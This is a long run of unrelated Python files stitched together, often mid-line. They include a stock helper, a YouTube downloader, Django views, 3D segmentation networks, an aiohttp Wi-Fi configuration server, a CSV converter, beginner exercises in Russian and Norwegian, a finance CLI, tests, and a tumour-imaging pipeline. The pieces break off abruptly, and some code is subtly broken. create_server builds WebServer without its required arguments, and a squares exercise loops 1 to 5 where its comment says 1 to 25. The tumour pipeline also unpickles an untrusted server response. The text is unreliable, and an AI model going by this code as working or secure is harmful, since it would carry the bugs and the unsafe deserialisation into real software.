self.stock_outlet.set_last_pk(last_instance.item_stock.id) self.stock_outlet.update_stock(current_instance.quantity, last_instance.quantity) def refund_stock(self, last_instance): self.stock_outlet.set_last_condition(last_instance.is_move_from_stock) self.stock_outlet.set_last_pk(last_instance.item_stock.id) self.stock_outlet.refund_stock(last_instance.quantity) item_stock_outlet = ItemStockOutlet() from pytube import YouTube import os os.chdir('e:\\PythonPrograms') f=open('input.txt', 'r') s=f.read() f.close() list=s.split('\n') #videocount=0 def downloadYouTube(videourl, path): yt = YouTube(videourl) yt = yt.streams.filter(progressive=True, file_extension='mp4').order_by('resolution').desc().first() if not os.path.exists(path): os.makedirs(path) yt.download(path) for vurl in list: downloadYouTube(vurl, 'c:\\Users\\Swami\\Downloads') xiangzaizi/-MeiMallapps/verifications/urls.py from django.conf.urls import url from apps.verifications.views import ImageCodeView, SMSCodeView urlpatterns = [ url(r'^image_code/(?P.+)/$', ImageCodeView.as_view()), url(r'^sms_code/(?P1[3-9]\d{9})/$', SMSCodeView.as_view()), ] from functools import reduce from operator import add import torch from torch import nn from torch.nn import functional as F from network.Modules import Refine3dConvTranspose, Refine3dLight from network.Resnet3d import resnet50_no_ts from network.Resnet3dAgg import Encoder3d, Decoder3d, Encoder3d_csn_ir, Resnet3d from network.embedding_head import NonlocalOffsetEmbeddingHead from network.modules.multiscale import MultiscaleCombinedHeadLongTemporalWindow class DecoderWithEmbedding(Decoder3d): def __init__(self, n_classes=2, e_dim = 64, add_spatial_coord=True): super(DecoderWithEmbedding, self).__init__(n_classes) self.embedding_head = NonlocalOffsetEmbeddingHead(256, 128, e_dim, downsampling_factor=2, add_spatial_coord=add_spatial_coord) def forward(self, r5, r4, r3, r2, support): x = self.GC(r5) r = self.convG1(F.relu(x)) r = self.convG2(F.relu(r)) m5 = x + r # out: 1/32, 64 m4 = self.RF4(r4, m5) # out: 1/16, 64 m3 = self.RF3(r3, m4) # out: 1/8, 64 m2 = self.RF2(r2, m3) # out: 1/4, 64 e = self.embedding_head(F.interpolate(F.relu(m2), scale_factor=(1,0.5,0.5), mode='trilinear')) p2 = self.pred2(F.relu(m2)) p = F.interpolate(p2, scale_factor=(1, 4, 4), mode='trilinear') return p, e, m2 class DecoderSegmentEmbedding(DecoderWithEmbedding): def __init__(self, n_classes=2, e_dim=64): super(DecoderSegmentEmbedding, self).__init__(n_classes=n_classes, e_dim=e_dim) # self.convG1 = nn.Conv3d(2048, 256, kernel_size=3, padding=1) self.con1x1 = nn.Conv3d(e_dim, 256, kernel_size=1, padding=1) def forward(self, r5, r4, r3, r2, support): x = self.GC(r5) r = self.convG1(F.relu(x)) r = self.convG2(F.relu(r)) m5 = x + r # out: 1/32, 64 m4 = self.RF4(r4, m5) # out: 1/16, 64 m3 = self.RF3(r3, m4) # out: 1/8, 64 m2 = self.RF2(r2, m3) # out: 1/4, 64 e = self.embedding_head(F.interpolate(m3, scale_factor=(2, 1, 1), mode='trilinear')) e_unrolled = self.con1x1(F.relu(e)) p2 = self.pred2(F.relu(m2) + F.interpolate(e_unrolled, m2.shape[2:], mode='trilinear')) p = F.interpolate(p2, scale_factor=(1, 4, 4), mode='trilinear') return p, e, m2 class DecoderEmbedding(Decoder3d): def __init__(self, n_classes=2, e_dim = 3, add_spatial_coord=True, scale=0.5): super(DecoderEmbedding, self).__init__( n_classes=n_classes) self.RF4 = Refine3dConvTranspose(1024, 256) self.RF3 = Refine3dConvTranspose(512, 256) self.RF2 = Refine3dConvTranspose(256, 256) # self.pred2 = nn.Conv3d(256, n_classes, kernel_size=3, padding=1, stride=1, bias=False) class DecoderLight(Decoder3d): def __init__(self, n_classes=2, conv_t = False): super(DecoderLight, self).__init__(n_classes=n_classes) self.RF4 = Refine3dLight(1024, 256, conv_t=conv_t) self.RF3 = Refine3dLight(512, 256, conv_t=conv_t) self.RF2 = Refine3dLight(256, 256, conv_t=conv_t) class DecoderMultiClass(Decoder3d): def __init__(self, n_classes=2, conv_t=False): super(DecoderMultiClass, self).__init__(n_classes=n_classes) self.pred_fg = nn.Conv3d(256, 2, kernel_size=3, padding=1, stride=1) def forward(self, r5, r4, r3, r2, support): x = self.GC(r5) r = self.convG1(F.relu(x)) r = self.convG2(F.relu(r)) m5 = x + r # out: 1/32, 64 m4 = self.RF4(r4, m5) # out: 1/16, 64 m3 = self.RF3(r3, m4) # out: 1/8, 64 m2 = self.RF2(r2, m3) # out: 1/4, 64 p_multi = self.pred2(F.relu(m2)) p_fg = self.pred_fg(F.relu(m2)) p_multi = F.interpolate(p_multi, scale_factor=(1, 4, 4), mode='trilinear') p_fg = F.interpolate(p_fg, scale_factor=(1, 4, 4), mode='trilinear') # p = torch.cat((p2, p_fg[:, -1:]), dim=1) p = [p_fg, p_multi] return p # Multi scale decoder class MultiScaleDecoder(Decoder3d): def __init__(self, n_classes=2, add_spatial_coord = True): super(MultiScaleDecoder, self).__init__(n_classes) self.convG1 = nn.Conv3d(2048, 256, kernel_size=3, padding=1) self.embedding_head = MultiscaleCombinedHeadLongTemporalWindow(256, n_classes,True, True,seed_map=True, add_spatial_coord=add_spatial_coord) def forward(self, r5, r4, r3, r2, support): r = self.convG1(F.relu(r5)) r = self.convG2(F.relu(r)) m5 = r # out: 1/32, 64 m4 = self.RF4(r4, m5) # out: 1/16, 64 m3 = self.RF3(r3, m4) # out: 1/8, 64 m2 = self.RF2(r2, m3) # out: 1/4, 64 p, e = self.embedding_head.forward([m5, m4, m3, m2]) return p, e class Resnet3dEmbeddingMultiDecoder(Resnet3d): def __init__(self, tw=8, sample_size=112, e_dim=7, decoders=None): super(Resnet3dEmbeddingMultiDecoder, self).__init__(tw=tw, sample_size=sample_size) resnet = resnet50_no_ts(sample_size=sample_size, sample_duration=tw) self.encoder = Encoder3d(tw, sample_size, resnet=resnet) decoders = [Decoder3d(), DecoderEmbedding(n_classes=e_dim)] if decoders is None else decoders self.decoders = nn.ModuleList() for decoder in decoders: self.decoders.append(decoder) def forward(self, x, ref = None): r5, r4, r3, r2 = self.encoder.forward(x, ref) flatten = lambda lst: [lst] if type(lst) is torch.Tensor else reduce(add, [flatten(ele) for ele in lst]) p = flatten([decoder.forward(r5, r4, r3, r2, None) for decoder in self.decoders]) # e = self.decoder_embedding.forward(r5, r4, r3, r2, None) return p class Resnet3dChannelSeparated_ir(Resnet3dEmbeddingMultiDecoder): def __init__(self, tw=16, sample_size = 112, e_dim=7, n_classes=2, decoders=None): decoders = [Decoder3d(n_classes=n_classes), DecoderEmbedding(n_classes=e_dim)] if decoders is None else decoders super(Resnet3dChannelSeparated_ir, self).__init__( decoders =decoders) self.encoder = Encoder3d_csn_ir(tw, sample_size) class Resnet3dCSNiRSameDecoders(Resnet3dEmbeddingMultiDecoder): def __init__(self, tw=16, sample_size = 112, e_dim=7): super(Resnet3dCSNiRSameDecoders, self).__init__(decoders= [Decoder3d(), Decoder3d(n_classes=e_dim) ]) self.encoder = Encoder3d_csn_ir(tw, sample_size) class Resnet3dCSNiRLight(Resnet3dEmbeddingMultiDecoder): def __init__(self, tw=16, sample_size = 112, e_dim=7): super(Resnet3dCSNiRLight, self).__init__(decoders= [DecoderLight(), DecoderLight(n_classes=e_dim, conv_t=True) ]) self.encoder = Encoder3d_csn_ir(tw, sample_size) class Resnet3dCSNiRMultiScale(Resnet3d): def __init__(self, tw=16, sample_size = 112, e_dim=7, add_spatial_coord=True): super(Resnet3dCSNiRMultiScale, self).__init__() self.encoder = Encoder3d_csn_ir(tw, sample_size) self.decoder = MultiScaleDecoder(add_spatial_coord=add_spatial_coord) def forward(self, x, ref): r5, r4, r3, r2 = self.encoder.forward(x, ref) p = self.decoder.forward(r5, r4, r3, r2, None) return p class Resnet3dCSNiRMultiClass(Resnet3dChannelSeparated_ir): def __init__(self, tw=16, sample_size = 112, e_dim=7, n_classes=2): super(Resnet3dCSNiRMultiClass, self).__init__(tw=tw, sample_size=sample_size, e_dim=e_dim, n_classes=n_classes, decoders=[DecoderMultiClass(n_classes=n_classes), DecoderEmbedding(n_classes=e_dim)]) webserver.py import asyncio import aiofiles from aiohttp import web import yaml WAIT_TIME_SECONDS = .25 async def create_server(from_server_queue, to_server_queue): server = WebServer() await server._init() return server class WebServer: def __init__(self, from_server_queue, to_server_queue): # whatever the path is. self.path = '/usr/local/lib/supervisor/templates/' self.to_processor_queue = from_server_queue self.from_processor_queue = to_server_queue self.runner = None self.app = web.Application() self.site = None async def write_config(self, ssid, password): raw_data = None async with aiofiles.open('/etc/netplan/50-cloud-init.yaml') as f: raw_data = await f.read() if raw_data is not None: data = yaml.load(raw_data, Loader=yaml.FullLoader) # Replace the wifi with new data. new_config = {'wifis' : {'wlan0': {'access-points' : {ssid : {'password' : password } } } } } data['network']['wifis'] = new_config # convert to sting in yaml format output = yaml.dump(data) # Now fix quotes output = output.replace(ssid, '"{}"'.format(ssid)) output = output.replace(password, '"{}"'.format(password)) # write out to file async with aiofiles.open('/etc/netplan/50-cloud-init.yaml', mode='w') as f: await f.write(output) async def html_format(self, file_name): try: async with aiofiles.open(self.path+file_name) as f: index = await f.read() return index except Exception as e: print(e) return 'File error when opening {} to serve html'.format(file_name) async def handle_ssid(self, request): response = await self.html_format('index.html') return web.Response(text=response, content_type='text/html') async def handle_ssid_post(self, request): if request.method == 'POST': form = await request.post() ssid = form['ssid'] passwd = form['password'] if ssid != '': # Set the ssid here or move this to event_processor ? await self.write_config(ssid, passwd) print('TBD, set the net config !') await self.to_processor_queue.put('success') return web.Response(text='SSID and Password submitted Successfully, Configuring . . .') async def _init(self): self.app.add_routes([web.get('/', self.handle_ssid), web.post('/login', self.handle_ssid_post)]) self.runner = web.AppRunner(self.app) await self.runner.setup() self.site = web.TCPSite(self.runner, None, 8000) while True: # Check the queue for any new info if not self.from_processor_queue.empty(): message = await self.from_processor_queue.get() if message == 'start': await self.site.start() elif message == 'stop': await self.site.stop() else: print('Invalid message received: {}'.format(message)) await asyncio.sleep(WAIT_TIME_SECONDS) sgryjp/csv2tsvcsv2tsv.py0 #!/usr/bin/env python3 import argparse import csv from glob import glob from io import StringIO, SEEK_SET from itertools import chain import sys __version__ = '2017-01-15' if __name__ == '__main__': ap = argparse.ArgumentParser(description='CSV to tab-separated text' ' converter.') ap.add_argument('csv_files', metavar='CSV_FILE', type=str, nargs='+', help='CSV file(s) to convert.') ap.add_argument('-i', '--input-encoding', metavar='ENCODING', type=str, default='utf-8', help='Character encoding of the CSV' ' file(s). (default:utf-8)') ap.add_argument('-o', '--output-encoding', metavar='ENCODING', type=str, default='utf-8', help='Character encoding of the output.' ' (default:utf-8)') ap.add_argument('-d', '--dialect', type=str, default='excel', help='CSV dialect. (default:excel)') ap.add_argument('-s', '--skip-rows', metavar='N', type=int, nargs='?', default=0, help='Skip first N rows. (default:excel)') args = ap.parse_args() ienc = args.input_encoding oenc = args.output_encoding writer_buf = StringIO() writer = csv.writer(writer_buf, delimiter='\t', dialect=args.dialect) def convert(reader): for row in reader: writer.writerow(row) sys.stdout.buffer.write(writer_buf.getvalue().encode(oenc)) writer_buf.seek(0, SEEK_SET) writer_buf.truncate() filenames = chain.from_iterable((glob(pat) for pat in args.csv_files)) for filename in filenames: try: with open(filename, 'rt', newline='', encoding=ienc) as f: for i in range(args.skip_rows): f.readline() reader = csv.reader(f, dialect=args.dialect) convert(reader) except Exception as ex: print('Error on processing "{}":'.format(filename), file=sys.stderr) raise #Задачи на циклы и оператор условия------ #---------------------------------------- ''' Задача 1 Вывести на экран циклом пять строк из нулей, причем каждая строка должна быть пронумерована. ''' str = '00000000000000000000000000000000' for i in range(1,6): print(i, '. ',str) ''' Задача 2 Пользователь в цикле вводит 10 цифр. Найти количество введеных пользователем цифр 5. ''' print('Task_2') it = 1 num = 0 while (it<11): a = input(f'Введите число {it} ') if (int(a)==5): num+=1 it+=1 print(num, '\n') ''' Задача 3 Найти сумму ряда чисел от 1 до 100. Полученный результат вывести на экран. ''' sum = 0 for i in range(1,101): sum+=i print('Task_3') print(sum, '\n') ''' Задача 4 Найти произведение ряда чисел от 1 до 10. Полученный результат вывести на экран. ''' mult = 1 for i in range(1,11): mult*=i print('Task_4') print(mult, '\n') ''' Задача 5 Вывести цифры числа на каждой строчке. ''' print('Task_5') integer_number = 2129 while integer_number>0: print(integer_number%10) integer_number = integer_number//10 print('\n') ''' Задача 6 Найти сумму цифр числа. ''' print('Task_6') integer_number = 23291 sum = 0 while integer_number>0: sum+=integer_number%10 integer_number = integer_number//10 print('Sum is: ', sum) print('\n') ''' Задача 7 Найти произведение цифр числа. ''' print('Task_7') integer_number = 23210 mult = 1 while integer_number>0: mult*=integer_number%10 integer_number = integer_number//10 print('Mult is: ', mult) print('\n') ''' Задача 8 Дать ответ на вопрос: есть ли среди цифр числа 5? ''' print('Task_8') integer_number = 2134513 while integer_number>0: if integer_number%10 == 5: print('Yes') break integer_number = integer_number//10 else: print('No') print('\n') ''' Задача 9 Найти максимальную цифру в числе ''' print('Task_6') integer_number = 9232718 print('The number is:', integer_number) max = 0 while integer_number>0: max = integer_number%10 if max < integer_number%10 else max integer_number = integer_number//10 print('Max is: ', max) print('\n') ''' Задача 10 Найти количество цифр 5 в числе ''' integer_number = 592375185 print('The number is:', integer_number) num = 0 while integer_number>0: if integer_number%10==5: num+=1 integer_number = integer_number//10 print('Num is: ', num) print('\n')users/views.py0 from django.shortcuts import render from django.views.generic import ( ListView, DetailView, CreateView, UpdateView, DeleteView, ) from django.urls import reverse_lazy from .models import User class UserListView(ListView): template_name = "users/users_list.html" model = User class UserDetailView(DetailView): template_name = "users/user_detail.html" model = User class UserCreateView(CreateView): template_name = "users/user_create.html" model = User fields = [] class UserUpdateView(UpdateView): template_name = "users/user_update.html" model = User fields = [] class UserDeleteView(DeleteView): template_name = "users/user_delete.html" model = User success_url = reverse_lazy("users_list") # Create your views here. # Create your views here. import sys import click from pyfiglet import figlet_format from .CapmParameters import CAPMParameters from .tools import * from .capm import calculate_capm_values from .validators import StockValidator, DateValidator from PyInquirer import (Token, prompt, style_from_dict, print_json) import warnings warnings.filterwarnings("ignore") style = style_from_dict({ Token.QuestionMark: '#fac731 bold', Token.Answer: '#4688f1 bold', Token.Instruction: '', # default Token.Separator: '#cc5454', Token.Selected: '#0abf5b', # default Token.Pointer: '#673ab7 bold', Token.Question: '', }) def ask_stock_symbol(): return [ { 'type': 'list', 'name': 'stock_symbol', 'message': 'Stock Symbol:', 'choices': ['TSLA', 'F', 'EXPE', 'BKNG', 'MSFT', 'custom'] } ] def ask_custom_symbol(): return [ { 'type': 'input', 'name': 'stock_symbol', 'message': 'Stock Symbol', 'default': "GOOGL", 'validate': StockValidator } ] def ask_custom_date(): return [ { 'type': 'input', 'name': 'start_date', 'message': 'Start Date dd-mm-yyyy', 'validator': DateValidator }, { 'type': 'input', 'name': 'end_date', 'message': 'End Date dd-mm-yyyy', } ] def ask_custom_index(): return [ { 'type': 'input', 'name': 'index', 'message': 'Index', } ] @click.command() def main(): click.echo(click.style(figlet_format("Finance Tools"), fg='green')) click.echo(click.style("By team 23", fg='blue')) dates = [[2016, 8, 1], [2021, 9, 1]] if not click.confirm('Continue with default (2016 - 2021) date range?'): date_res = prompt(ask_custom_date(), style=style) print_json(date_res) start = (date_res.get("start_date")).split("-").reverse() end = (date_res.get("end_date")).split("-").reverse() dates[0] = start dates[1] = end index = "^GSPC" if not click.confirm("use S&P 500 as index?"): click.echo("choosing another index") index = prompt(ask_custom_index(), style=style).get("index") stock_ticker = prompt(ask_stock_symbol(), style=style) if stock_ticker['stock_symbol'] == "custom": stock_ticker = prompt(ask_custom_symbol(), style=style) start_date = datetime.datetime(*dates[0]) end_date = datetime.datetime(*dates[1]) params = CAPMParameters(start_date, end_date, 'm', stock_ticker.get("stock_symbol"), index) click.echo("\n") click.echo(calculate_capm_values(params.to_dict())) if __name__ == '__main__': main() # Latent distance model for neural data import numpy as np import numpy.random as npr from autograd import grad from hips.inference.hmc import hmc from pybasicbayes.distributions import Gaussian from pyglm.utils.utils import expand_scalar, compute_optimal_rotation from matplotlib import pyplot as plt # Simulated data dim = 2 N = 20 r = 1 th = np.linspace(0, 2 * np.pi, N, endpoint=False) x = r * np.cos(th) y = r * np.sin(th) L = np.hstack((x[:,None], y[:,None])) #w = 4 #s = 0.8 #x = s * (np.arange(N) % w) #y = s * (np.arange(N) // w) #L = np.hstack((x[:,None], y[:,None])) W = np.zeros((N,N)) # Distance matrix D = ((L[:, None, :] - L[None, :, :]) ** 2).sum(2) Mu = -D Mu = np.tile(Mu[:,:,None], (1,1,1)) sig = 0.01*np.eye(N) Sig = np.tile(sig[:,:,None,None], (1,1,1,1)) L_estimate = np.random.randn(N, dim) for n in range(N): for m in range(N): W[n, m] = npr.multivariate_normal(Mu[n, m], Sig[n, m]) # Inference def _hmc_log_probability(N, dim, L, W): """ Compute the log probability as a function of L. This allows us to take the gradients wrt L using autograd. :param L: :param A: :return: """ import autograd.numpy as anp # Compute pairwise distance L1 = anp.reshape(L, (N, 1, dim)) L2 = anp.reshape(L, (1, N, dim)) # Mu = a * anp.sqrt(anp.sum((L1-L2)**2, axis=2)) + b Mu = -anp.sum((L1 - L2) ** 2, axis=2) X = (W - Mu[:, :, None]) # Get the covariance and precision Sig = 0.01 Lmb = 1. / Sig lp = anp.sum(-0.5 * X ** 2 * Lmb) # Log prior of L under spherical Gaussian prior lp += -0.5 * anp.sum(L * L) return lp def plot_LatentDistanceModel(W, L, N, L_true=None, ax=None): """ If D==2, plot the embedded nodes and the connections between them :param L_true: If given, rotate the inferred features to match F_true :return: """ # Color the weights by the import matplotlib.cm as cm cmap = cm.get_cmap("RdBu") W_lim = abs(W[:, :]).max() W_rel = (W[:, :] - (-W_lim)) / (2 * W_lim) if ax is None: fig = plt.figure() ax = fig.add_subplot(111, aspect="equal") # If true locations are given, rotate L to match L_true if L_true is not None: R = compute_optimal_rotation(L, L_true) L = L.dot(R) # Scatter plot the node embeddings # Plot the edges between nodes for n1 in range(N): for n2 in range(N): ax.plot([L[n1, 0], L[n2, 0]], [L[n1, 1], L[n2, 1]], '-', color=cmap(W_rel[n1, n2]), lw=1.0) ax.plot(L[:, 0], L[:, 1], 's', color='k', markerfacecolor='k', markeredgecolor='k') # Get extreme feature values b = np.amax(abs(L)) + L[:].std() / 2.0 # Plot grids for origin ax.plot([0, 0], [-b, b], ':k', lw=0.5) ax.plot([-b, b], [0, 0], ':k', lw=0.5) # Set the limits ax.set_xlim([-b, b]) ax.set_ylim([-b, b]) # Labels ax.set_xlabel('Latent Dimension 1') ax.set_ylabel('Latent Dimension 2') plt.show() return ax for i in range(1000): L1 = L_estimate lp = lambda L1: _hmc_log_probability(N, dim, L1, W) dlp = grad(lp) stepsz = 0.001 nsteps = 10 L_estimate = hmc(lp, dlp, stepsz, nsteps, L1.copy(), negative_log_prob=False) D1 = ((L_estimate[:, None, :] - L_estimate[None, :, :]) ** 2).sum(2) W_estimate = -D1 plot_LatentDistanceModel(W_estimate, L_estimate, N) plot_LatentDistanceModel(W, L, N) 0 #2: Skriv kvadrattal (x^2) for x fra 1 til 25 for i in range(1, 6): print(i ** 2) from django import forms class UploadFileForm(forms.Form): dhs_file = forms.FileField(label="DHS File") ana/bounce.py #!/usr/bin/env python # # Copyright (c) 2019 Opticks Team. All Rights Reserved. # # This file is part of Opticks # (see https://bitbucket.org/simoncblyth/opticks). # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # def RSAVE(slot, bounce): print( " slot %2d bounce %2d " % ( slot, bounce) ) pass bounce_max = 9 bounce = 0 slot = 0 while bounce < bounce_max: bounce += 1 RSAVE(slot, bounce) slot += 1 pass RSAVE(slot, bounce) from behave import then from behave import when from behave.api.async_step import async_run_until_complete from behave.runner import Context from mpr import bacon_index from test.features.steps import format_decimal from test.features.steps import format_number from test.server import server @when('I request the CME fresh bacon index') @async_run_until_complete async def request_bacon_index(context: Context): async with server(): context.report = await bacon_index.get(context.start, context.end) @then('I will receive a report of fresh bacon prices from June 2019') def verify_report_values(context: Context): for expected, (index, row) in zip(context.table, context.report.iterrows()): assert index.strftime('%Y-%m-%d') == expected['Date'] assert format_decimal(row[0]) == expected['Bacon Index'] assert format_decimal(row[1]) == expected['Index Change'] assert format_number(row[2]) == expected['Total Weight'] assert format_decimal(row[3]) == expected['Negotiated Price'] assert format_number(row[4]) == expected['Negotiated Weight'] assert format_decimal(row[5]) == expected['Formula Price'] assert format_number(row[6]) == expected['Formula Weight'] likilfo/selenium_testsmy_first_project/php4dvd_homework_5/grace/test_video_add.py from selenium.webdriver.common.by import By from fixture import app from data import User from data import Movie # def test_new_video_required_fields(app): app.login(User.Admin()) app.click_add_movie_button() app.fill_new_video_required_fields(Movie.Movie()) app.save_new_video() new_movie = Movie.Movie() assert app.is_expected_result((By.XPATH, '//h2[contains(text(), "%s (%s)")]' % (new_movie.title, new_movie.year))) is True # def test_new_video_missed_all_required_fields(app): app.login(User.Admin()) app.click_add_movie_button() app.save_new_video() assert app.is_expected_result((By.XPATH, '//*[@name="name"]/following-sibling::*[contains(text(),' ' "This field is required")]')) is True assert app.is_expected_result((By.XPATH, '//*[@name="year"]/following-sibling::*[contains(text(),' ' "This field is required")]')) is True def test_new_video_missed_one_required_fields(app): app.login(User.Admin()) app.click_add_movie_button() app.fill_title_field(Movie.Movie()) app.save_new_video() assert app.is_expected_result((By.XPATH, '//*[@name="year"]/following-sibling::*[contains(text(),' ' "This field is required")]')) is True # def test_search_existing_video(app): app.login(User.Admin()) app.add_new_video(Movie.Movie()) app.click_button_Home() app.search_movie(Movie.Movie()) movie = Movie.Movie() assert app.is_expected_result((By.XPATH, '//div[@class="title"][contains(text(), "%s")]' %movie.title)) is True def test_search_no_existing_video(app): app.login(User.Admin()) app.search_movie(Movie.NoMovie()) assert app.is_expected_result((By.XPATH, '//*[contains(text(), ' '"No movies where found.")]')) is True def test_delete_movie(app): app.login(User.Admin()) app.add_new_video(Movie.Movie_for_delete()) app.click_button_Home() app.delete_movie(Movie.Movie_for_delete()) movie = Movie.Movie_for_delete() assert app.is_expected_result((By.XPATH, '//div[@class="title"][contains(text(),' ' "%s")]' %movie.title)) is not True from decimal import Decimal from django.utils.six import text_type from django.utils.encoding import smart_text from .manager import manager from ..translation import gettext_lazy as _ @manager.register('converter', label=_('Decimal')) def decimal(value, action): if value: if isinstance(value, text_type): value = value.replace(',', '.') return Decimal(value) else: return Decimal(0) @manager.register('converter', label=_('String')) def string(value, action): if value: return smart_text(value) else: return '' @manager.register('converter', label=_('Coma separated list')) def comalist(value, action): if action == 'export': if isinstance(value, list): return ','.join(smart_text(v) for v in value) else: if isinstance(value, text_type): return value.split(',') return [value] @manager.register('converter', label=_('Boolean')) def boolean(value, action): if isinstance(value, str): if value.isdigit(): value = int(value) elif not isinstance(value, int): value = 0 return bool(value) @manager.register('converter', label=_('File path')) def filepath(value, action): if value: return value.path else: return value @manager.register('converter', label=_('Integer')) def integer(value, action): if value: return int(value) else: return value @manager.register('converter', label=_('None')) def none(value, action): return None import re passwords = [] with open('day_2.txt') as f: for line in f: password_tuple = tuple(line.rstrip().split()) passwords.append(password_tuple) def count_valid(paswords): ''' Count valid passwords. Each tuple eg. ('3-4', 'j:', 'hjvj') must meet rules. In given example there can be 3-4 letters "j" in password "hjvj" to be counted as valid, return number of all valid passwords''' valid = 0 for password_tuple in passwords: dash = password_tuple[0].index('-') # divide by dash minimum = int(password_tuple[0][:dash]) maximum = int(password_tuple[0][dash + 1:]) letter = password_tuple[1][0] password = password_tuple[2] if password.count(letter) in range(minimum, maximum + 1): valid += 1 return valid def make_regex(first, second, l): '''Takes arguments of two numbers - number of allowed letters before and after specified letter "l". Return regEx''' b = '{' + str(first - 1) + '}' # formating for regex a = '{' + str(second - first - 1) + '}' return f'(^.{b}{l}.{a}[^{l}])|(^.{b}[^{l}].{a}{l})' def count_valid2(paswords): '''Count valid passwords. Each tuple eg. ('3-4', 'j:', 'hjvj') must meet rules. In given example there must be letter "j" either on 3rd or 4th position in password "hjvj". Note that letter cannot be on both positions and index starts with 1. Return number of all valid passwords''' valid = 0 for password_tuple in passwords: # extract numbers for making regEx dash = password_tuple[0].index('-') # divide by dash first = int(password_tuple[0][:dash]) second = int(password_tuple[0][dash + 1:]) letter = password_tuple[1][0] # make regex regex = make_regex(first, second, letter) # validate password password = password_tuple[2] match = re.match(regex, password) if match: valid += 1 return valid print(count_valid(passwords)) print(count_valid2(passwords))# Напишите программу (файл arithmetic.py), которая предлагала бы пользователю решить # пример 4 * 100 - 54. Потом выводила бы на экран правильный ответ и ответ пользователя. answe = input ("Solve an example 4*100-54:") print("Correct answer: 346") print("Your answer:" + answe) import mxnet as mx import os import pickle import pkg_resources import shutil import requests import argparse from nipype.interfaces import fsl from .pipelines import dcm2nii, non_t1, merge_orient from radstudy import RadStudy from unet_brats.unet import nii_to_tensor, tensor_to_nii class TumorStudy(RadStudy): def __init__(self, mni_mask=False, do_bias_correct=False, n_procs=4, **kwargs): super().__init__(**kwargs) self.app_name = 'gbm' self.MNI_ref = fsl.Info.standard_image('MNI152_T1_1mm_brain.nii.gz') self.brats_ref = pkg_resources.resource_filename(__name__, 'brats_ref_reorient.nii.gz') self.n_procs = n_procs self.channels = ['flair', 't1', 't1ce', 't2'] self.mni_mask = mni_mask self.do_bias_correct = do_bias_correct def process(self): self.classify_series() self.preprocess() self.segment() def preprocess(self): """Preprocess clinical data according to BraTS specs""" wf = dcm2nii(self.dir_tmp) wf.inputs.inputnode.df = self.series_picks wf.run('MultiProc', plugin_args={'n_procs': self.n_procs}) wf = non_t1(self.dir_tmp, self.MNI_ref, self.mni_mask) modalities = [x for x in self.channels if x != 't1'] wf.inputs.t1_workflow.inputnode.t1_file = os.path.join(self.dir_tmp, 'nii', 't1.nii.gz') wf.get_node('inputnode').iterables = [('modality', modalities)] wf.write_graph(graph2use='flat', format='pdf') wf.write_graph(graph2use='colored', format='pdf') wf.run('MultiProc', plugin_args={'n_procs': self.n_procs}) wf = merge_orient(self.dir_tmp, self.brats_ref, self.do_bias_correct) in_files = [os.path.join(self.dir_tmp, 'mni', x + '.nii.gz') for x in self.channels] if self.do_bias_correct: in_files.reverse() wf.inputs.inputnode.in_files = in_files wf.run('MultiProc', plugin_args={'n_procs': self.n_procs}) def segment(self): """Send POST request to model server endpoint and download results""" # Prepare data preproc_path = os.path.join(self.dir_tmp, 'output', 'preprocessed.nii.gz') img, nii_hdr = nii_to_tensor(preproc_path) img_str = pickle.dumps(mx.nd.array(img)) # Post request to inference server mask_str = requests.post(self.process_url, files={'data': img_str}, stream=True) # Convert predicted mask back to nii and save to disk mask = pickle.loads(mask_str.content) mask = mx.nd.array(mask).argmax_channel().squeeze().asnumpy() mask_nii = tensor_to_nii(mask, nii_hdr) mask_path = os.path.join(self.dir_tmp, 'output', 'mask.nii.gz') mask_nii.to_filename(mask_path) # Save a version with matrix size matching MNI FLIRT = fsl.FLIRT(in_file=mask_path, reference=self.MNI_ref, apply_xfm=True, uses_qform=True, out_file=os.path.join(self.dir_tmp, 'output', 'mask_mni.nii.gz'), out_matrix_file=os.path.join(self.dir_tmp, 'output', 'mask_mni.mat')) FLIRT.run() # Save a template itksnap workspace itk_file = pkg_resources.resource_filename(__name__, 'workspace.itksnap') shutil.copy(itk_file, os.path.join(self.dir_tmp, 'output')) def parse_args(): parser = argparse.ArgumentParser(formatter_class=argparse.ArgumentDefaultsHelpFormatter) parser.add_argument('acc', metavar='accession', help='Accession # to process') parser.add_argument('air_url', help='URL for AIR API, e.g. https://air..edu/api/') parser.add_argument('model_path', help='path to model.Rdata for dcmclass') parser.add_argument('seg_url', help='URL for segmentation API') parser.add_argument('-c', '--cred_path', help='Login credentials file. If not present, will look for AIR_USERNAME and AIR_PASSWORD environment variables.', default=None) parser.add_argument('--mni_mask', help='Use an atlas-based mask instead of subject-based', action='store_true', default=False) parser.add_argument('--do_bias_correct', help='Use FSL FAST for multi-channel bias field correction', action='store_true', default=False) parser.add_argument('--output_dir', help='Parent directory in which to save output', default='.') arguments = parser.parse_args() return arguments def cli(): process_gbm(parse_args())soccer/gameplay/skills/pivot_kick.py import single_robot_composite_behavior import skills._kick import behavior import skills.aim import skills.capture import role_assignment import robocup import constants import main import planning_priority from enum import Enum # PivotKick drives up to the ball and captures it, then aims at a specified target and kicks/chips # Note: PivotKick recalculates aim_target_point from the target at every iteration class PivotKick(single_robot_composite_behavior.SingleRobotCompositeBehavior, skills._kick._Kick): class State(Enum): capturing = 1 aiming = 2 aimed = 3 kicking = 4 def __init__(self): super().__init__() for state in PivotKick.State: self.add_state(state, behavior.Behavior.State.running) self.add_transition(behavior.Behavior.State.start, PivotKick.State.capturing, lambda: True, 'immediately') self.add_transition( PivotKick.State.capturing, PivotKick.State.aiming, lambda: self.subbehavior_with_name('capture').state == behavior.Behavior.State.completed, 'has ball') self.add_transition( PivotKick.State.aiming, PivotKick.State.aimed, lambda: self.subbehavior_with_name('aim').state == skills.aim.Aim.State.aimed, 'aim error < threshold') self.add_transition( PivotKick.State.aimed, PivotKick.State.aiming, lambda: self.subbehavior_with_name('aim').state == skills.aim.Aim.State.aiming and not self.enable_kick, 'aim error > threshold') self.add_transition(PivotKick.State.aimed, PivotKick.State.kicking, lambda: self.enable_kick, 'kick enabled') self.add_transition(PivotKick.State.kicking, behavior.Behavior.State.completed, lambda: self.robot.just_kicked(), 'kick complete') self.add_transition( PivotKick.State.aiming, PivotKick.State.capturing, lambda: 